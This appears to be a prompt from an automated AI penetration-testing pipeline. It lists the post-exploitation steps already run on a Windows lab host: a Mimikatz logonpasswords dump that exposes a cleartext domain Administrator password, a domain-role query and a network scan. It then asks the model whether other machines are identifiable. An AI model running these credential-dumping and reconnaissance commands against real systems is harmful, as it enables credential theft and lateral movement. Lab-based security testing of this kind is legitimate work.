You are professional in the field of cybersecurity.

**Current Access Knowledge:**
platform: windows
ip: ['192.168.30.3']
hostname: IT-ep-2
logon user: TEST\bob
user privilege: Elevated
additional imformation:
	payload: `c:\users\public\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"`
	result: The command executed was related to Mimikatz, a well-known tool used for extracting credentials from Windows systems. The output indicates that the command successfully obtained debug privileges and retrieved logon passwords for several user sessions. Key details include:
1. User Sessions:
   - DWM-3: User: IT-EP-2$, Domain: TEST, Kerberos Password: (hashed value).
   - UMFD-3: User: IT-EP-2$, Domain: TEST, Kerberos Password: (hashed value).
   - bob: User: bob, Domain: TEST, Kerberos Password: (null).
   - Administrator: User: test.lab\Administrator, Domain: sensitive-DC, Password: @ut0infra.
2. Authentication IDs: Each session has a unique Authentication ID, indicating the session's identity.
3. Logon Server: The logon server for the Administrator session is identified as SENSITIVE-DC.
4. Logon Time: All sessions were logged on at the same time: 11/14/2024, 4:42:34 PM.
5. Password Information: Some users have their passwords listed as (null), indicating that the passwords could not be retrieved or are not stored in a retrievable format.
This output highlights potential security vulnerabilities, as sensitive information such as hashed passwords and user credentials were successfully extracted.

	payload: `(Get-WmiObject Win32_ComputerSystem).DomainRole`
	result: Current machine is Member Workstation, which is not a domain controller

	payload: `c:\users\public\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"`
	result: The command executed was related to Mimikatz, a well-known tool used for extracting credentials from Windows systems. The output indicates that the command successfully obtained debug privileges and retrieved logon passwords for several user sessions. Key details include:
1. User Sessions:
   - DWM-3: User: IT-EP-2$, Domain: TEST, Kerberos Password: (hashed value).
   - UMFD-3: User: IT-EP-2$, Domain: TEST, Kerberos Password: (hashed value).
   - bob: User: bob, Domain: TEST, Kerberos Password: (null).
   - Administrator: User: test.lab\Administrator, Domain: sensitive-DC, Password: @ut0infra.
2. Authentication IDs: Each session has a unique Authentication ID, indicating the specific logon session.
3. Logon Times: All sessions were logged on at the same time (11/14/2024 4:42:34 PM).
4. Security Identifiers (SIDs): Each user session has a corresponding SID, which is crucial for identifying user accounts in Windows.
5. Password Information: Some users have NTLM hashes and Kerberos passwords listed, while others have null passwords.
This output highlights potential security vulnerabilities, as sensitive information such as hashed passwords and user credentials were successfully extracted.

	payload: `c:\users\public\ipscan.exe 192.168.30.3 192.168.30.3 c:\users\public\scan.txt; start-sleep -seconds 30; cat c:\users\public\scan.txt`
	result: The command executed a scan on the IP address 192.168.30.3 using Angry IP Scanner. The scan was completed successfully, showing that the IP address responded with a ping time of 0 ms, indicating it is active and reachable. The hostname associated with the IP is "IT-ep-2.test.lab." The results were saved in a text file located at c:\users\public\scan.txt.

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Is there any identifier of other machines except current machine and domain controller? Please respond with @yes@, @no@, or @not sure@, and provide a clear explanation for your conclusion. If there's no strong indication, respond with @not sure@.